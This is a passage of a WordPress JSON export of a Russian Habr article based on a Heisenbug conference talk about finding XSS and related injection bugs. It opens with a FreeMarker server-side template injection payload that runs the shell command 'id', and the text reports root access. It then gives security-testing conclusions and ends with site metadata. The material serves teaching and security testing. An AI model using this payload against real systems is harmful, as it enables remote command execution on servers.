cmd = &#8216;freemarker.template.utility.Execute&#8217;?new()]<br \/>  ${cmd(&#8216;id&#8217;)}<\/p>\n<p>  <\/p>\n<p>\u0414\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0432\u044b\u0437\u0432\u0430\u0442\u044c, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0435\u0433\u043e \u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0442\u044c \u0435\u043c\u0443 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 \u043a\u0430\u043a\u0443\u044e-\u0442\u043e shell-\u043a\u043e\u043c\u0430\u043d\u0434\u0443, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, id. <\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/mn\/vr\/nt\/mnvrntulci1bgbr-6yornwsk3py.png\" data-src=\"https:\/\/habrastorage.org\/webt\/mn\/vr\/nt\/mnvrntulci1bgbr-6yornwsk3py.png\"\/><\/p>\n<p>  <\/p>\n<p>\u0418 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u0447\u0442\u043e root:<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/65\/8l\/ix\/658lixfrhea-d6llzzcbnpejo2q.png\" data-src=\"https:\/\/habrastorage.org\/webt\/65\/8l\/ix\/658lixfrhea-d6llzzcbnpejo2q.png\"\/><\/p>\n<p>  <\/p>\n<h2>\u0412\u044b\u0432\u043e\u0434\u044b<\/h2>\n<p>  <\/p>\n<p>\u0415\u0441\u043b\u0438 \u0432\u044b \u0440\u0430\u0437\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435, \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442\u0435 \u043d\u0430\u0434 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u043e\u0439 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f, \u0442\u043e \u0432\u0441\u0435\u0433\u0434\u0430 \u043d\u0430\u0434\u043e \u0438\u043c\u0435\u0442\u044c \u0432 \u0432\u0438\u0434\u0443, \u0447\u0442\u043e <strong>\u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442 \u2014 \u044d\u0442\u043e \u043d\u0435\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0435 \u043c\u0435\u0441\u0442\u043e<\/strong>. <\/p>\n<p>  <\/p>\n<p>\u041d\u0443\u0436\u043d\u043e \u0432\u0441\u0435\u0433\u0434\u0430 \u043f\u043e\u043c\u043d\u0438\u0442\u044c, \u0447\u0442\u043e <strong>\u043d\u0435\u043b\u044c\u0437\u044f \u0434\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u043c\u0443 \u0432\u0432\u043e\u0434\u0443<\/strong>. \u0420\u0430\u0441\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0439\u0442\u0435 \u043c\u0435\u0441\u0442\u043e, \u0433\u0434\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0432\u0430\u043c \u0447\u0442\u043e-\u0442\u043e \u043f\u043e\u0441\u044b\u043b\u0430\u0435\u0442, \u043a\u0430\u043a \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435. <\/p>\n<p>  <\/p>\n<p><strong>\u041d\u0443\u0436\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u0441\u0432\u043e\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435<\/strong>, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0434\u0430\u0436\u0435 \u0441\u0430\u043c\u044b\u0439 \u0432\u043d\u0438\u043c\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u0432\u0441\u0435 \u0440\u0430\u0432\u043d\u043e \u043a\u043e\u0433\u0434\u0430-\u0442\u043e \u043e\u0448\u0438\u0431\u0435\u0442\u0441\u044f, \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u0442 \u0443 \u0441\u0435\u0431\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u0430 \u2014 \u0447\u0435\u043c \u0447\u0430\u0449\u0435, \u0442\u0435\u043c \u043b\u0443\u0447\u0448\u0435.<\/p>\n<p>  <\/p>\n<p><strong>\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u0435\u0439\u043b\u043e\u0430\u0434<\/strong>, \u043f\u043e\u043c\u0435\u0449\u0430\u0439\u0442\u0435 \u0435\u0433\u043e \u0432\u043e \u0432\u0441\u0435 \u043f\u043e\u043b\u044f, \u0432 \u043a\u0430\u0436\u0434\u044b\u0439 input. \u0420\u0430\u043d\u043e \u0438\u043b\u0438 \u043f\u043e\u0437\u0434\u043d\u043e \u044d\u0442\u043e \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442, \u043f\u043e\u0442\u043e\u043c \u0443\u0436\u0435 \u043d\u0430\u0443\u0447\u0438\u0442\u0435\u0441\u044c \u0440\u0430\u0441\u043a\u0440\u0443\u0447\u0438\u0432\u0430\u0442\u044c, \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u044c \u0435\u0449\u0435 \u0431\u043e\u043b\u044c\u0448\u0435 XSS, \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c, \u043f\u0440\u0438\u0434\u0443\u043c\u0430\u0435\u0442\u0435 \u0441\u0432\u043e\u0438 \u0432\u0435\u043a\u0442\u043e\u0440\u044b \u0430\u0442\u0430\u043a\u0438. <\/p>\n<p>  <\/p>\n<p>\u0412 \u043b\u044e\u0431\u043e\u043c \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0438 <strong>\u0432\u0441\u0435\u0433\u0434\u0430 \u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 XSS<\/strong>. \u0415\u0441\u043b\u0438 \u0432\u044b \u0438\u0449\u0435\u0442\u0435 \u0431\u0430\u0433\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0432\u044b \u043d\u0435 \u043c\u043e\u0436\u0435\u0442\u0435 \u0431\u044b\u0442\u044c \u0443\u0432\u0435\u0440\u0435\u043d\u044b, \u0447\u0442\u043e \u0438\u0445 \u0442\u0430\u043c \u043d\u0435\u0442. \u0412\u043e\u0437\u043c\u043e\u0436\u043d\u043e, \u0432\u044b \u043f\u0440\u043e\u0441\u0442\u043e \u043d\u0435 \u043c\u043e\u0436\u0435\u0442\u0435 \u0438\u0445 \u043d\u0430\u0439\u0442\u0438, \u043d\u043e \u043e\u043d\u0438 \u0442\u0430\u043c \u0435\u0441\u0442\u044c. \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0442\u0430\u043a\u043e\u0435 \u0443\u0431\u0435\u0436\u0434\u0435\u043d\u0438\u0435, \u043c\u043e\u0436\u043d\u043e \u043d\u0430\u0439\u0442\u0438 \u0435\u0449\u0435 \u0431\u043e\u043b\u044c\u0448\u0435 \u0431\u0430\u0433\u043e\u0432. <\/p>\n<p>  <\/p>\n<blockquote><p>\u042d\u0442\u043e \u0431\u044b\u043b \u0434\u043e\u043a\u043b\u0430\u0434 \u0441 \u043e\u0434\u043d\u043e\u0433\u043e \u0438\u0437 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0438\u0445 Heisenbug, \u0430 \u043c\u044b \u0442\u0435\u043c \u0432\u0440\u0435\u043c\u0435\u043d\u0435\u043c \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0433\u043e\u0442\u043e\u0432\u0438\u043c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439: \u0441 5 \u043f\u043e 7 \u043e\u043a\u0442\u044f\u0431\u0440\u044f \u0441\u043e\u0441\u0442\u043e\u0438\u0442\u0441\u044f \u043e\u043d\u043b\u0430\u0439\u043d-\u043a\u043e\u043d\u0444\u0435\u0440\u0435\u043d\u0446\u0438\u044f <strong><a href=\"https:\/\/heisenbug-moscow.ru\/?utm_source=habr&amp;amp;utm_medium=569270\">Heisenbug 2021 Moscow<\/a><\/strong>. \u0422\u0430\u043c \u0431\u0443\u0434\u0443\u0442 \u0434\u0435\u0441\u044f\u0442\u043a\u0438 \u043d\u043e\u0432\u044b\u0445 \u0434\u043e\u043a\u043b\u0430\u0434\u043e\u0432 \u043f\u043e \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044e, \u0438 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u044f \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u0438\u0437 \u043d\u0438\u0445 \u0443\u0436\u0435 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u0442\u044c \u043d\u0430 \u0441\u0430\u0439\u0442\u0435.<\/p><\/blockquote>\n<\/div>\n<\/div>\n<\/div>\n<p><!----><!----><\/div>\n<p><!----><!----><br \/> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habr.com\/ru\/articles\/569270\/\"> https:\/\/habr.com\/ru\/articles\/569270\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<div><!--[--><img loading=\"lazy\" decoding=\"async\" height=\"1\" src=\"https:\/\/www.facebook.com\/tr?id=2610199939046212&amp;ev=PageView&amp;noscript=1\" style=\"display:none;\" width=\"1\"><img loading=\"lazy\" decoding=\"async\" height=\"1\" src=\"https:\/\/vk.com\/rtrg?p=VK-RTRG-412679-4FWK5\" style=\"display:none;\" width=\"1\"><!--]--><\/div>\n<div id=\"post-content-body\">\n<div>\n<div class=\"article-formatted-body article-formatted-body article-formatted-body_version-1\">\n<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w780q1\/webt\/pe\/ed\/5c\/peed5cpoi-4fqgjnbv4l3faam0k.jpeg\" data-src=\"https:\/\/habrastorage.org\/webt\/pe\/ed\/5c\/peed5cpoi-4fqgjnbv4l3faam0k.jpeg\" data-blurred=\"true\"\/><\/p>\n<p>  <\/p>\n<p>\u041f\u0440\u043e XSS-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e \u0434\u0430\u0432\u043d\u044b\u043c-\u0434\u0430\u0432\u043d\u043e \u2014 \u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c \u0431\u044b, \u043d\u0443\u0436\u0435\u043d \u043b\u0438 \u043c\u0438\u0440\u0443 \u0435\u0449\u0451 \u043e\u0434\u0438\u043d \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b \u043e \u043d\u0438\u0445? \u041d\u043e \u043a\u043e\u0433\u0434\u0430 <strong>\u0418\u0432\u0430\u043d \u0420\u0443\u043c\u0430\u043a<\/strong>, \u0437\u0430\u043d\u0438\u043c\u0430\u044e\u0449\u0438\u0439\u0441\u044f \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043f\u043e\u0434\u0435\u043b\u0438\u043b\u0441\u044f \u043c\u0435\u0442\u043e\u0434\u043e\u043b\u043e\u0433\u0438\u0435\u0439 \u0438\u0445 \u043f\u043e\u0438\u0441\u043a\u0430 \u043d\u0430 \u043d\u0430\u0448\u0435\u0439 \u043a\u043e\u043d\u0444\u0435\u0440\u0435\u043d\u0446\u0438\u0438 <strong><a href=\"https:\/\/heisenbug-moscow.ru\/?utm_source=habr&amp;amp;utm_medium=569270\">Heisenbug<\/a><\/strong>, \u0440\u0435\u0430\u043a\u0446\u0438\u044f \u0437\u0440\u0438\u0442\u0435\u043b\u0435\u0439 \u043e\u043a\u0430\u0437\u0430\u043b\u0430\u0441\u044c \u043e\u0447\u0435\u043d\u044c \u043f\u043e\u043b\u043e\u0436\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439. <\/p>\n<p>  <\/p>\n<p>\u0418 \u0441\u043f\u0443\u0441\u0442\u044f \u0434\u0432\u0430 \u0433\u043e\u0434\u0430 \u0443 \u044d\u0442\u043e\u0433\u043e \u0434\u043e\u043a\u043b\u0430\u0434\u0430 \u043f\u043e-\u043f\u0440\u0435\u0436\u043d\u0435\u043c\u0443 \u0440\u0430\u0441\u0442\u0443\u0442 \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u044b \u0438 \u043b\u0430\u0439\u043a\u0438, \u044d\u0442\u043e \u043e\u0434\u0438\u043d \u0438\u0437 \u0441\u0430\u043c\u044b\u0445 \u0432\u043e\u0441\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u043e\u0432 Heisenbug. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0442\u0435\u043f\u0435\u0440\u044c \u043c\u044b \u0440\u0435\u0448\u0438\u043b\u0438, \u0447\u0442\u043e \u043c\u043d\u043e\u0433\u0438\u043c \u0431\u0443\u0434\u0435\u0442 \u043f\u043e\u043b\u0435\u0437\u043d\u0430 \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u0430\u044f \u0432\u0435\u0440\u0441\u0438\u044f, \u0438 \u0441\u0434\u0435\u043b\u0430\u043b\u0438 \u0435\u0435 \u0434\u043b\u044f \u0425\u0430\u0431\u0440\u0430.<\/p>\n<p>  <\/p>\n<p>\u041f\u043e\u0434 \u043a\u0430\u0442\u043e\u043c \u2014 \u0438 \u0442\u0435\u043a\u0441\u0442, \u0438 \u0432\u0438\u0434\u0435\u043e. \u0414\u0430\u043b\u0435\u0435 \u043f\u043e\u0432\u0435\u0441\u0442\u0432\u043e\u0432\u0430\u043d\u0438\u0435 \u0438\u0434\u0435\u0442 \u043e\u0442 \u043b\u0438\u0446\u0430 \u0418\u0432\u0430\u043d\u0430.<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-414229","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/414229","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=414229"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/414229\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=414229"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=414229"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=414229"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}